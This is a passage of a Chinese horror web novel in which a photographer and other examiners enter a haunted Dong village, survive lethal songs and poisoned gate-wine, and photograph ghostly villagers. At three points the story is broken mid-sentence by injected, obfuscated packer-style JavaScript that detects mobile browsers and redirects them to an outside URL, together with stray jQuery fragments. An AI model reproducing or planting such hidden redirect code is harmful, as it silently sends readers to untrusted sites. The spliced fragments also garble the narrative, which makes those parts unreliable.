这个侗族男子已然婚配,但是所爱之人并非他娶的对象,而是这个与他对唱的女子。 听完这两段歌词之后,梁安颜唇角抽动,幽幽开口:“虽然知道,这有可能是包办婚姻造成的悲剧,但是还是忍不住感觉这男的好渣……” 我娶的人是她,但我深爱的人只有你一个。 听听,多么熟悉的借口。 从梁安颜记事起,这个借口就堪称历届渣男必备金句。用到现在,都快被用烂了。 拦门歌一首接着一首地唱,拦门的物品一件接着一件被搬开。眼见仪式快要抵达尾声,道路即将畅通,齐檎丹扫视了一下旁边,发现地上大概还躺着十来个人。 这些人鼻翼翕动,胸膛起伏,应该还活着,只是尚未从幻境之中挣脱出来。 但他们这支队伍即将进入寨中。 再晚,就跟不上了。 正当齐檎丹摸着下巴,寻思着要这么抛下他们不管,还是做个好人,试试看能不把这些人叫醒的时候,其中一个人小拇指,突然间动了一下。 “醒了吗?”齐檎丹刚想凑上前去,那人的眼球却骤地鼓起。 那鼓胀的速度,非常之快。 膨胀的眼珠子往外瞪出,掀起了眼皮,凸出了眼眶,顷刻间肿大如桃。眼白被撑得只剩下薄薄的一层膜,底下蛛网般纵横交错的血管,变得清晰可见。 “快闪开。”顾斩风猛然抓住齐檎丹的臂弯,把她往后一拽。 同一时刻,两颗眼珠胀大到极致。 “嘭!嘭!!” 清脆的爆裂声,相继响起。 男人的眼珠子破裂开来,如同两颗气充得太满的气球。鲜血和充填于眼房内的组织液,霎时间化作血雾,喷薄而出。其中好几滴,都溅上了齐檎丹的衣摆。 要不是顾斩风那一瞬间反应得快,现在遭殃的估计就不是衣摆,而是她的脸了。 “啊啊啊啊啊!!!” 凄惨的咆哮低吼,从那人的嗓子眼里滚出。 即便已经捂住双眼,猩红浓稠的组织液,还是从他指缝间不断流出。他痛苦地扭动着躯干四肢,在地上蜷缩成一团:“我的眼睛!我的眼睛!!” 有人大着胆子,小心翼翼地撑开他的眼皮一看,顿时吓得屁滚尿流。 那两颗眼珠子已经彻底完了。仿佛被某种凶恶的利器搅拦了,黑的白的肉块支离破碎,泡在鲜血里,大小不一,混杂成黏糊恶心的一团。 在这样凶险的副本世界,瞎了双眼,基本与废人无异。 一时间,众人看他的目光都多了怜悯。 但失去双眼的,不止这个人。 他只是个开始。 后面再醒来的其他考察员,也都遭遇了如出一辙的惨剧。 期间,这些考察员的队友们使用了各种各样的方法,企图阻止眼球的膨胀,却无一例外地以失败告终。 越来越多人失去双眼,陷入黑暗,哀嚎和哭泣接连不断地响起。然而,主客两方村寨的侗族NPC们,对眼前惨绝人寰的景象熟视无睹。他们仍在纵声高歌。 伤者痛苦的哀哭声,和正在进行的欢歌笑语重叠在一起,宛如诡异的双声部二重唱。 将原本活泼的曲调,蒙上一层恐惧的黯淡。 令人不寒而栗。 当最后一句歌声唱完,拦路的最后一个障碍物也被搬走。乡寨的大门,终于向他们这些外来者敞开。 要进入寨门了。所有考察员打起精神,准备跟上前面侗族NPC的脚步。正当他们整装待发的时候,人群里,陆续传来有人寻找队友的呼喊声。 “你们有谁看到我队友了吗?我队友不见了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15036867|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我朋友也是,刚才还在这里呢!” “好歹是一个大活人,怎么说没就没了?” 顾斩风紧急清点了一下人数。 进入副本的考察员本应有五十六人,然而就算加上那些眼盲的,在场的考察员也有四十三个。 缺少的那十多个人,让龙骁猛然一惊:“我的天,怎么少了这么多?其余的人呢?都去哪儿了?” 他们遍寻不着。 树林间,小道旁,毫无人类踪影。 只是方才躺过人的草地上,多出好些暗红的痕迹。 “别找了,”顾斩风神色凝重地点了点地面,“他们在这里。” 草地上,暗红的血液肆意蔓延,浸染了草叶覆盖下的土壤。然而,碎得接近肉糜状态的人体组织却无法下渗,被草叶复杂的根系拦在外边,血肉模糊的一片。 歌声掀起的幻觉恐怖如斯。最先挺过幻觉的人,还仅仅是头痛一阵,稍慢一点的瞎了双眼。 至于没挺过去的,都烂成了这一地淋漓血泥。 一个人体内的血液不算很多,但十多个人的血肉加在一起,几乎遍布整片草地。一想到刚刚才从这摊血泥上踩过,众人顿时产生了呕吐的冲动。 但,寨前的NPC已在催促: “快来啊!再不过来,寨门就要关了!” 考察系统跟这些守寨门的男女,或许是心有灵犀。发布的新任务连任务内容,都跟这些人说的意思一模一样。 【任务1:请务必在规定时间内进入村寨,不要辜负寨民邀请你们的好心。】 倒计时已经开始。 既然如此,那只能抓紧时间。 临走前,齐檎丹回头望了一眼。那些不幸眼盲的考察员里,只有零星几个运气好的,会被队友从地面上搀扶起来,带着他往寨门口走。更多的,则被无情遗弃。 副本是个生死场。 没有人会想要一个累赘。 当初之所以和他们组队,是因为需要他们的能力,将他们抛下,是因为嫌弃他们拖后腿。 趋利避害是人的本能。在越困难的副本里,这种人性,就体现得越发淋漓尽致。 刚有人抵达寨门前,守候已久的侗族小伙便立刻拿起芦笙,开始吹奏。欢快的乐曲里,侗族姑娘们双手捧起拦门酒,朝他们迎了上来:“听了拦门歌,喝了拦门酒,才是我们寨子真正的客人。” 换言之,不喝下这一碗,那就进不了寨门。 现实里的拦门酒当然没什么。 但这是在副本里。 对于吃喝一类下口的东西,无论如何,总得比平常多个心眼。 为了避免由于离得太过接近,而被强行灌酒,齐檎丹在她跟寨门还有一段距离的时候,就举起了相机。 “离得这么远,能拍到什么啊?”龙骁刚对她提出质疑,就见齐檎丹转动镜头上的变焦环,放大了画面。 相机不费吹灰之力,精准对焦到盛在碗里的酒上。 齐檎丹看清了碗里的液体—— 浑浊,怪异,多沉淀物。 不知道是不是因为倒酒的时候用力过猛,酒水贴着碗内壁的地方,涌现出不少密密麻麻的气泡白沫,久久不消。 看着那白中发绿的酒水,齐檎丹的脸也不受控制地绿了绿。 这真的是酒,不是毒药? 要是把这一碗全都喝下去,真的不会死掉吗? 51. 啼血侗歌4 酒水浑浊怪异也就算了,那些寨子门口数量众多的侗族姑娘和小伙子,目光还一个个紧盯在客人身上。 即便是端酒和奏乐,也不妨碍他们视线毫不偏移地,监视着入寨的人把酒喝完。 傻子都能看得出来,这拦门酒必然有问题。 喝下去会怎样,谁也说不清。 因此,考察员们尽管自发地在寨子门前排成了长队,其中的每一个,却都在想方设法地避免喝这碗酒。齐檎丹排的位置比较靠后,刚好能看见前面的考察员各显神通。 用道具的,耍心眼的,喝完偷偷吐出来的……什么样的手段都有人用。 却鲜少有奏效的。 排在齐檎丹前头的那个考察员,以自己酒精过敏为借口,试图蒙混过关。不料,他前脚刚闯入寨门,后脚就被几个青壮年捉鸡崽子似的逮住。 他们掰开考察员的下巴,把他自以为逃过的那一整碗拦门酒,一滴不剩地强行灌下。 那碗酒虽浊,进了喉管里,却烧得嗓子却火辣辣的疼。 那考察员掐着脖子,猛咳了好几声。 没把酒咳出来,倒是把他的脸和脖子都咳嗽得涨红充血,狼狈不堪。 见那考察员还在用手指扣挖喉咙,做着无谓地挣扎,挡在寨门前的侗族姑娘们咯咯冷笑,半是得意半是嘲讽。 但当转过头时,那一张张热情好客的虚假面具,又重新焊死在了她们的脸上。 “轮到你了。”一个姑娘对齐檎丹笑道。 笑里藏刀。 芦笙乐曲的节奏陡然加快。曲调高亢,直上云霄,应和着心跳急促的鼓点。 隐藏在欢快节拍下的危险,悄然蔓延。 准备拦门酒的侗族姑娘挽起袖子,伴随着芦笙奏出的音乐,麻利地旁边取过一摞的碗,将从酒水从酒壶中倾入碗里。 酒一斟满,站在最前排的姑娘就从同伴手中接过酒水,对着那碗泛着诡异绿光的液体,悄然弯起唇角: “客人,来喝了这碗拦门酒吧。” 她盛情邀请着,刚要把酒往齐檎丹面前递,就见齐檎丹从口袋里掏出一块扯松了的黑色欧根纱,罩在镜头前,而后举起了相机。 “咔嚓——” 齐檎丹正对着她,按下快门。 虽说这款相机的快门声音可选择是否关闭,这次拍照,齐檎丹却有意开着快门的声音。 那一声轻之又轻的脆响,尽管顷刻被淹没进音乐与人声,但由于递酒来的那个侗族姑娘相机离得不远,这快门声,还是明明白白地传进了她耳朵里。 侗族姑娘的手抖了一下,酒液蓦地撞上碗壁,哗然荡开涟漪。 差点没全泼出去。 齐檎丹以为她是担心出片效果,信誓旦旦地跟她保证:“放心吧,你这么漂亮,拍出来的照片绝对好看……” 然后,齐檎丹发现—— 需要担心的,不是那侗族姑娘,是她自己。 【恭喜获得S级照片“侗家姑娘”,已复刻鬼怪实力100%】 村寨里的侗族人们,居然被照鬼相机判定成了鬼怪?! 拿到照片道具的时候,齐檎丹骤然一怔。连“古厝诡婚”副本里,那些异化成鱼眼睛的村民们,都没被照鬼相机判定成鬼,这个寨子里外貌长相与常人无异的侗族人,却居然已经被划入了鬼怪的行列。 可见,这不是真实的侗族寨子,这是一个“鬼窝”。 转瞬间,齐檎丹惊出了一身的汗。 但不是惊吓。 是惊喜。 是鬼才好呢!刺激!要不是鬼,她连这张照片道具的羊毛都薅不到。 齐檎丹不动声色地,藏起了成形后刚要往外飞的照片道具,也顺带藏好了内心的小九九。侗族姑娘还没来得及把酒递过来,齐檎丹先把相机里的原片向她递了过去:“看吧,我就说,拍出来的你肯定好看。” 作为入行多年的摄影师,齐檎丹对自己的拍照水平有着一定的自信。更何况,她没说假话。 这张照片是真的好看。 镜头下,那侗族姑娘只有七分的魅力,被捕捉得恰到好处的动态和光影,放大到了十分不止。 阳光从高处坠下,洒落在华美的银饰上,飞溅起无数细碎的光点。由于镜头上蒙着的那块欧根纱,每一点闪光,都在照片里化作璀璨星芒。 星芒簇拥下,姑娘清凌凌的眸子仿佛也闪耀着光彩。 容色鲜丽,明艳照人。 这个侗族姑娘的笑靥在照片里是如此夺目,以至于她发间正在怒放的一朵酡红花朵,和她身后独特的侗寨风光,都在顷刻间沦为陪衬,变得暗淡无光。 就连姑娘手里那碗色泽古怪的酒水,都因为齐檎丹把光线找得足够好,而在照片里变得清澈起来,仿佛上好的佳酿。 一见照片,那侗族姑娘立刻赞叹出声: “哇!你拍得真好,我从来没这么漂亮过。” 她连拦门酒都顾不上递给齐檎丹,就火急火燎地凑到相机跟前,欣喜地欣赏起照片里的自己。鬼无法被相机拍到,她已经记不清上一次拍照是在什么时候了。 因为齐檎丹在拍照时,刻意避免了恐怖氛围的渲染,从这张照片里,看不出姑娘身上的鬼气。 照片里,反而洋溢着一股蓬勃的生命力,明媚而灿烂。 生命力…… 一个离鬼极遥远的名词。 早已化鬼的侗族姑娘瞬间被击中了内心。她忍不住腾出手,抚摸上相机屏幕。 岂止是生命力,她连生命都不敢奢望。 没想到,这对她来说遥不可及的东西,竟被一张照片拍出来了。 或许是忆起了那段回不去的生前时光,侗族姑娘凝视了那照片足足有一分钟,眼底逐渐有泪花闪动。齐檎丹观察着她的反应,基本可以确认,这些鬼怪保留了一部分自我意识。 而这对她来说,是一件可以利用的好事。 齐檎丹心神一动。 她拔高嗓音,吆喝起来:“免费拍照,免费拍照啦!不好看不要钱,好看也不要钱。拍出来的效果往这里看,喜欢了,看好了,就能来拍啊。” 人会为财死,鬼要钱推磨,不管是对人还是对鬼,免费的永远是最有吸引力的。 齐檎丹第一次吆喝,效果就极其显著。 不过刚吆喝两句,其他侗族鬼怪便一下子围了上来。看过照片后,每只鬼的脸上,都情不自禁地流露出对那侗族姑娘的羡慕之情。 “这也太好看了!我们也能拍吗?” “哇,不愧是专业的。你说的免费拍照,还算不算数?找你拍张照行不?” “这发光是怎么做到的啊?这张照片,比我家电视上的都强……” 这群鬼激动得叽叽喳喳,嘴皮子说个没停,但目的是无比统一的——他们也希望能拥有一张这样的照片。 这正中齐檎丹下怀。 “人有点多,一张张拍我怕时间来不及啊。”齐檎丹故意叹了口气,假装勉为其难地答应他们的请求,“这样吧,既然还有时间,我给你们再拍几张合影。” 齐檎丹把给他们看照片效果的相机,又拿了回去。 相机一到手上,她整个人的气质立刻变得不一样,变得可靠沉稳,胸有成竹。 哪怕没做什么,都让人忍不住信赖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038361|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 齐檎丹拿着相机走远几步,开始引导动作:“我先退远点,你们站紧凑点,这样才能把你们全都拍进去。担心拍得不自然的话,可以试着不看镜头,我会进行抓拍,你们只需要继续专注做你们要做的事情。” ——也就是继续给人递拦门酒。 齐檎丹还没开始拍照,任务规定的时间已仅剩五分钟。 耳边,考察系统“滴滴滴”地发出催促,齐檎丹瞟了眼考察员排成的队列。队列里,还剩下最后几个考察员,一人一碗酒,剩下的时间刚好够。 相比之下,正被拍照的那群侗族青年们,就没那么轻松了。他们又要发拦门酒,又要分心想着凹造型,对考察员喝酒的监督就不再那么严格了。 间接帮助其他考察员逃过喝酒的同时,齐檎丹也换着角度一连拍了许多张。然而,这照鬼相机抠门得很,拍的张数再多,它也只不过又出了一张照片道具。 【恭喜获得S级照片“拦门酒”。】 齐檎丹同上一次一样,先偷摸着收好了道具照片,才结束了拍摄。 拍完后,几乎所有侗族青年的目光,都聚焦在了她身上。齐檎丹也不急,先在众目睽睽之下,从一个侗族姑娘手上拿过一碗拦门酒,才把相机拿到他们眼前:“我拍了挺多张的,你们看一看吧。” 这时候的相机,比逗猫棒还好使。 齐檎丹才刚把相机递出去,这群侗族的年轻男女,就一窝蜂全围了上来。十几二十双眼睛全黏在相机上,愣是没有一双,能顾得上监督她喝酒。 齐檎丹睨了一眼被众星捧月的相机,缓缓勾起唇角。她大费周章给他们拍照,为的就是转移注意力的这一刻。 酒碗一斜,她偷偷倒掉了酒。 酒水下渗入土壤,原本生长的草木迅速枯萎变黄。 齐檎丹目光冷然。 “照片都挑好了吗?挑好了我帮你们打印。”齐檎丹说着,从系统商城里兑换了能打印照片的道具,将他们选中的照片一张张打印赠予。 之后,她才踩着倒计时结束前的最后一秒,拿回相机,迈进寨门里。她身后,还追着一大帮被她的拍照技术迷得神魂颠倒的侗族青年。 【任务1规定时间已耗尽,任务完成奖励正在结算中。】 【寨门即将关闭。】 考察系统发出冰冷的提示声。 本来还拿着照片不肯松手的侗族男女,顿时如被启动机关的傀儡一般,机械地向寨门走去。 齐檎丹撩起眼帘,看向寨门之外。 侗寨的大门虽说已经开始关闭,那些失去双眼又被队友抛弃的可怜虫,却仍然挣扎着,手脚并用地向前方爬行。 能进到D级副本的考察员,都对系统的德行有着深刻的了解。若只是瞎了双眼,还可能有一线生机,被淘汰在寨门之外,却必死无疑。 他们就算爬,也得爬进寨里。 爬在最前面的那个失明考察员,离门其实已经很近了。 他喘着粗气,竭力挪动着身体。结块的土壤填满了指缝,地上的碎石划破了指腹,每往前一寸,他指甲上渗出来的鲜血,就和眼窝里的血肉碎块一起,砸进了泥土。 那考察员听见寨门正在关闭时发出的“吱呀”声,也听见越来越接近的人语与交谈。 再近一些,只要再近一些,他就能摸到寨门了。 考察员拼尽全力地伸长右手。这一次,他的手,终于摸到了寨门的边沿。 登时,一阵狂喜席卷了全身。 他几乎喜极而泣。 只要进去就好了!进去寨门,他就能活下去了! 他想活,他不想死! 52. 啼血侗歌5 求生的欲望,驱使这考察员加快了爬行速度。他像狗一样用四肢刨着土地,奋力前扑,终于赶在寨门合上之前,将头颈处伸进了寨中。 马上进侗寨了,只要再往前一点就能成功…… 剧痛突然来袭。 考察员五官骤地扭曲。 沉重的寨门一左一右,夹住了他的脖子,用力向中间挤压。并且,这种关闭的趋势,显然没有因为考察员的受伤停止。 门缝间,分明有一个大活人卡在中央,关门的那几个侗族青年的反应,却好像根本不知道这件事情一样:“奇了怪了,今天的门怎么这么难关啊?” 他们嘟囔着,再一次加大关门力度。 来自左右的重压之下,脆弱不堪的颈椎,发出了最后一声悲鸣。 “咔嚓——” 颈椎骨断裂粉碎,气管受压挤扁。 来不及发出一声惨叫,那考察员的头颅已经软软垂下,绝了生息。和之前命丧幻境中的死者一样,他也迅速融化成了一滩血水。 历尽周折,寨门终于严丝合缝地关上了。 门外人类的惨叫声,与大门重重合上的闷响,几乎在同一时间响起。 惊恐的惨叫声中,不知道什么种类的鬼怪,正进行着一场残忍的狩猎。撕扯□□的刺啦声,以及嚼食血肉的咀嚼声,与寨内的他们仅仅隔了一道寨门。声音之凄惨,令人肝胆俱寒。 没进门的那些盲眼考察员,估计凶多吉少了。 齐檎丹垂着眼眸。 她默不作声地点击弹窗,收下了完成任务1后,系统所奖励的50积分。 萦绕在鼻端的血腥味还未散去,主持这场“吃相思”联谊的侗族NPC就扬起笑脸,招呼进寨的考察员们:“欢迎大家不远万里,来到我们的寨子!” 他的语气一如既往的欢乐轻快,与门外的鲜血与死亡,宛如两个世界。 割裂感强烈得诡异。 “为了这次的多寨联谊,我们寨子将会举办‘抬官人’等多项活动,大家可以根据自己的喜好,选择是否参与其中。” 侗族NPC微笑着,热情地向众人介绍流程。 她对这些活动如数家珍,像说过成千上万次那样熟稔:“我们最重要的活动,是在今天晚上。不管其他的活动大家有没有参加,今晚都请一定要到鼓楼里来。因为,我们将在鼓楼里燃起篝火,请大家入座对歌……” 自拦门歌之后,侗族大歌又一次出现在了他们的视野里。 齐檎丹心中一紧。 方才在幻境里听见情歌的那一幕,禁不住在眼前浮现。 如果这侗族大歌只是幻境中的一种攻击方式,又或者是为他们提供线索的一个载体,不可能值得副本这样再三强调。 也许,这些歌曲,会是他们目前最重要的突破口。 齐聚在鼓楼唱歌的活动要晚上才开始,虽然那时候有篝火的光影,又有人山人海的热闹,拍成照片一定特别有氛围,但齐檎丹不打算等那么久。 那样会白白浪费太多时间。 他们等不起。 就在齐檎丹思索的这会儿,主持人已经介绍完基本的情况,宣布他们可以在寨子里自由活动。 几乎是一宣布完,富婆姐姐梁安颜就来到齐檎丹面前,热情相邀:“等一下路上会有‘抬官人’活动,我跟龙骁打算过去看一看。你要不要也跟我们一起?” 梁安颜之前从相关的书籍里看到过,“抬官人”是举办侗寨联谊之时,最重要的活动之一。主寨和客寨会分别选人出来,扮演特定的角色——有人扮官员,有人扮贫民。沿途,官员还要不断给周围的贫民和路人抛撒钱币。 那场面,必定非常热烈。 梁安颜摆明了不是为了凑热闹去的。所以,即便齐檎丹将寨中的侗民是鬼的发现,告知了梁安颜,她依然没有改变这个决定:“到时候,这个寨中的人大半都会聚集在那里,我想去看看能不能发现新线索。” 无怪乎梁安颜心急,他们目前的进展确实令人忧心。 直到现在,失踪的主线任务还没有任何下落,那个需要退婚的侗族女子无处可寻。剧情解锁度更像是被冻住了一样,迟迟不见上升。 不管是对副本的探索,还是主线任务的进展都几乎为零。 简直糟糕到不能再糟糕。 不入虎穴,焉得虎子。哪怕有危险,他也总得去试一试。” 齐檎丹承认,她有被梁安颜的决心打动,也有被这个理由说动。然而,同样是想要去看“抬官人”,勾着齐檎丹的最大动力,则是“抬官人”活动浓郁的民族特色,以及鬼怪云集的悚然场面。 活动现场看似人山人海,实则鬼怪成群,在真假虚实之间乱中有序。除了围观的群众,和预先训练过的齐整队列,还有飞扬散落的钱币点缀其间,丰富画面。 拍起来,一定好看极了。 齐檎丹动了动手指,一时技痒难耐。 如果时间来得及,她是必然会去看“抬官人”的。但,她指的不是现在。 “我还有事,就不跟你们一起了。”齐檎丹说,“在上街去看‘抬官人’之前,我打算先去另外一个地方。” “你要去哪里?”梁安颜问。她想不出什么地方,会比“抬官人”活动更可能发现线索。 “鼓楼。”齐檎丹抬眸说道,“按照那个侗族主持人的说法,鼓楼应该是他们平日里唱歌的重要场所。我想去听他们唱歌。” 她的语气稀松平常,和平时没什么两样,威力却堪比炸弹落下。 “轰隆”一声爆炸。 把其他人炸得外焦里嫩。 梁安颜听得呼吸一滞,忍不住怀疑自己的耳朵是否出了问题。 好家伙!还说她去看“抬官人”危险。齐檎丹自己要去的地方,难道不是更危险吗?! 梁安颜旁边的龙骁,更是难掩震惊:“不是……我没听错吧?你居然要去听他们唱歌?你难道不记得,刚才我们听完歌以后,都变成了什么样子吗?” 当时呈现在他们眼前的惨状,齐檎丹当然记得,而且记得清清楚楚。 轻则头疼,重则身死。 夹在中间的考察员,则被搅拦了眼睛。 在那几首拦门歌的祸害下,多少双好眼睛成了恐怖的血窟窿。就算没有直接死,也间接害得寨门外那些考察员丧了命。 但看齐檎丹跃跃欲试的样子,她似乎完全没有把这些危险放在眼里。梁安颜甚至看到,齐檎丹已经把相机挂在了身上,确保右手只要往旁边一摸,就能以最快速度开始拍照。 齐檎丹是个嗜拍照如命的,能让她放弃拍摄“抬官人”的,只有比“抬官人”更适合拍摄的地方。 那个地方,就是幻境。 上次被侗族拦门歌拉入幻境时,齐檎丹就发现了这个幻境场景的特殊之处。 许是因为建构于现实之外的虚幻,幻境里的所有事物,表面都蒙着一层朦胧感。如纱如雾,似有若无,足以媲美世间一切柔光滤镜。 而幻境里的那个侗族女子,大抵是她最爱拍的那种鬼。不仅很上镜,流露出的悲恸也是真情实感。 眼角那滴泪,更是落得恰到好处。 犹如点睛之笔。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046013|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >自带柔光特效的天然摄影棚,眼里有情绪的氛围感模特……这样得天独厚的拍摄条件,离了幻境,她还能去哪里找? 一想到之前没来得及拍下的照片,齐檎丹就为之扼腕不已。 她不仅要再进去拍,还要拍爆! 梁安颜:“……” 说实话,梁安颜一见齐檎丹看向鼓楼时,那双越来越亮的茶色眼瞳,就觉得这事要完。可她还是耐着性子,苦口婆心地劝告:“听那些歌至少会头痛,你也不方便拍照吧?” 齐檎丹不以为然,甚至有点兴致勃勃:“没事,区区头痛,不耽误我按快门。” 梁安颜:“可是还会有生命危险。” 齐檎丹视死如归:“要是能拍到一张顶级的照片,就算马上就死,我也觉得值!” 好一个油盐不进,软硬不吃。 劝不动!根本劝不动! 梁大小姐无奈扶额。她怎么给忘了,眼前的齐檎丹,是个为了拍照不要命的。一旦齐檎丹有了看中的场景和模特,那可是十头牛都拉不回来。 像这样冒着生命危险,上赶着要去跟鬼怪贴贴的情节,早已不知道发生过多少次。 最终,梁安颜只好放弃挣扎。 然而,要她眼睁睁看着齐檎丹只身走向鼓楼,她也实在放心不下。 “你要是真的想去鼓楼,让我们陪你去吧。‘抬官人’的队伍长,走得也慢,我们就算晚点去看也没问题。”梁安颜说完后,又拽了拽龙骁的袖子,“龙骁,你说对吧?” 龙骁闻言,立刻很狗腿子地连连点头:“对对对,大小姐说什么都对。” 这两人一唱一和,配合默契。 齐檎丹难以拒绝,又拿他们没办法,只好勉为其难地应下。 . 等他们三人走到鼓楼跟前时,齐檎丹意外地在那里,瞧见了一个熟人。 “顾斩风?你不是说你要一个人行动吗?”梁安颜疑惑地上前打招呼。 顾斩风:“碰巧同路。” 碰巧?哪儿有可能这么巧?还不都是冲着线索来的?齐檎丹在心底,暗自“啧”了一声。 她估计,顾斩风也和她一样,也是因为想到了侗族大歌的歌声与幻境之间的关联,所以才来到鼓楼的。只不过,顾斩风动作显然更快,比她早到了一会儿。 齐檎丹瘪瘪嘴,感到轻微的不服气。 但这点不服气很快就被她抛之脑后了,因为鼓楼里,传来了小孩稚嫩的童声。 侗族人自幼学歌,鼓楼里面的孩子正是在演唱的初学者。即便他们还没学习太多歌唱技巧,声带也因为紧张而有点发紧,这群孩子们的歌声,却自有一种成年人难以企及的澄澈干净。 可惜,这些歌声齐檎丹无福消受。 歌声一入耳,就仿佛化作高速旋转的电钻,嗡鸣着在坚硬的颅骨上打出一个大洞,钻进脑壳,打碎大脑,翻搅得脑浆四溅。 这种熟悉的头疼和晕眩感又来了…… 齐檎丹猛地捂住了耳朵,一口气后退了好几步。 等到隔绝了歌声之后,她头颅里那种钻心噬骨的痛苦,才终于消退。 头痛的出现不一定是坏事。出现和之前一样的状况,意味着齐檎丹猜测出的共性是对的——副本里的侗族大歌,确实能够将他们带进幻境当中。 猜测得到验证了是好事。然而,当齐檎丹捂着耳朵抬起头,看见其余三个人分明听着引发她头痛的歌声,却依旧神色如常时,她还是轻轻地碎了。 什么情况?这头疼,是专逮着她一个人祸害吗? 副本里可不兴搞差别对待啊。 53. 啼血侗歌6 齐檎丹不信邪,把捂在耳朵上的手稍微松开了一点,钻心的头疼顿时乘虚而入,教她做人。 齐檎丹立刻皱紧了眉头。 剧烈的头疼中,齐檎丹松开的手刚要捂回去,耳中的音乐却突然发生了异变。 仅仅是一瞬之间,孩童稚气的歌声变成了一个更加成熟的女声,声音断断续续的,以至于齐檎丹要在头疼中很艰难地集中精力,才能勉强从歌词中,辨认出几个字眼。 “……爱……只剩着……我得个……腐烂树皮……” 齐檎丹:“???” 歌词中的这些字眼,听得她一头雾水。 爱跟腐烂树皮能搭上关系?这歌词里,写的都是什么奇奇怪怪的东西? 进幻境的理由又多了一个。要想听清楚这首歌,估计得被拉进幻境里。想起幻境,齐檎丹在热血沸腾之余,又忍不住生出一两分顾虑—— 齐檎丹不怕头疼,也不怕死,但是如果因为双目失明,导致葬送了她的摄影职业生涯,那她是万万不甘愿的。 齐檎丹只听了一会儿歌声,便感觉头脑昏昏沉沉。 晕得快要失去意识。 恰在此时,梁安颜发现了她的异样:“齐檎丹,你怎么了?怎么表情这么痛苦?” 齐檎丹先是捂住双耳、阻断听觉,才回答了梁安颜的问题:“我听到了歌声。但不是鼓楼里这群孩子唱的。那个人的声音,跟我们在幻境里听到的那个女声,可以说一模一样。” 这可是重大发现! 为了方便说话,梁安颜先找了个不受歌声影响的僻静地方,让齐檎丹能够不用受到歌声的威胁。 “奇怪,我们明明都站在鼓楼门口,听到的侗族大歌,按理说都是相同的。为什么只有你听到的歌声变化了,和我们都不一样?”梁安颜发出疑问,“我们一点异常反应都没有。” 起初,齐檎丹也不明白为什么。 但是没过多久,齐檎丹就想到了原因—— 她的背包里,有一个能够帮助她融入某个群体的道具。 “啊,我想起来了,是因为这个。”齐檎丹发出一个恍然大悟的音节。她从系统背包里,摸出了道具“穆青青的记者证”。 这个普通级别的道具是默认开启的。此刻,它正兢兢业业地发挥着作用。 【穆青青的记者证(生效中):善于暗访的新人记者穆青青,把她的伪装技术留给了你。道具生效期间,您将有更大概率,被鬼怪及副本NPC识别成与他们同阵营的主寨居民。】 除了这个道具的作用,齐檎丹想不出别的理由。 龙骁好半天才理顺了逻辑:“你的意思是,因为这个道具的干扰,设置侗族大歌和幻境相连的那个人,把你误认成了这个寨子里的人,所以那个人才会对你网开一面,让你能进到幻境里去?” 齐檎丹点点头。 她的亲身经历证明,由侗族大歌通往幻境是可行的。但这么做有着门槛。 这门槛,可能是唱歌的人数,歌声的音量,也可能是听歌的时间。 鼓楼内外,唱歌的孩子们数量不够,唱的声音不够大声,所以其他人达不到这个门槛,也拿不到幻境的准入门槛。然而道具的作用,阴差阳错地,让齐檎丹成为了那一个例外。 因为身份被错认成了寨中人,属于齐檎丹的那道门槛被放得低了一些,只要听歌的时长一到,就会被拉入幻境。 恰恰是这一点,帮助齐檎丹锁定了设置幻境的人所在的范围。 齐檎丹说道:“比起我们这些客寨的外来者,设置幻境的这个人,显然更亲近、也更信任主寨的侗族人。”因而齐檎丹倾向于认为,此人更有可能是住在主寨的其中一个居民。 她会是幻境里的那个女子吗? 那个需要他们帮助退婚的女性,和设置幻境的她,是同一人吗? 如果是,那么需要他们协助退婚的这个人,很可能就在这个寨子里面。而与退婚的相关的事宜,考察员们也可以从幻境之中,得到重要线索。 几乎是在这个推测成型的同一瞬间,尘封已久的剧情解锁度,第一次出现了上涨。 【剧情解锁度:10%】 从零到10%的突破,足以佐证这一推测的正确性。 推测得到肯定,众人的考察总算有了方向。然而,龙骁反倒被整不明白了:“可是我一早都问过了,这个寨子里面没人要退婚啊,连对要结婚的都没有。” 这两相矛盾,又是怎么一回事? 齐檎丹无法解答。 不仅无法解答,她还有许多其他的谜团待解。 这个寨子是经历过什么,寨里的人怎么会都成了鬼?需要退婚的那个女子,也是鬼吗?他们是不是要进入到鬼的世界,才能给这女子退婚? 齐檎丹只恨谜题太多,线索太少。根据现有的线索,他们最多也只能够猜到这儿。要想得到其他答案,就只能到幻境里去一探究竟了。 并且,由于“穆青青的记者证”只对齐檎丹一人起作用,这意味着,冒着风险进入幻境的任务,只能由她承担。 齐檎丹巴不得能进幻境。 顶多只是眼盲的风险,会让她稍微顾虑一些。 “五分钟。”一直默不作声的顾斩风突然开口,“我算过了,五分钟之内出幻境,眼睛不会瞎。” 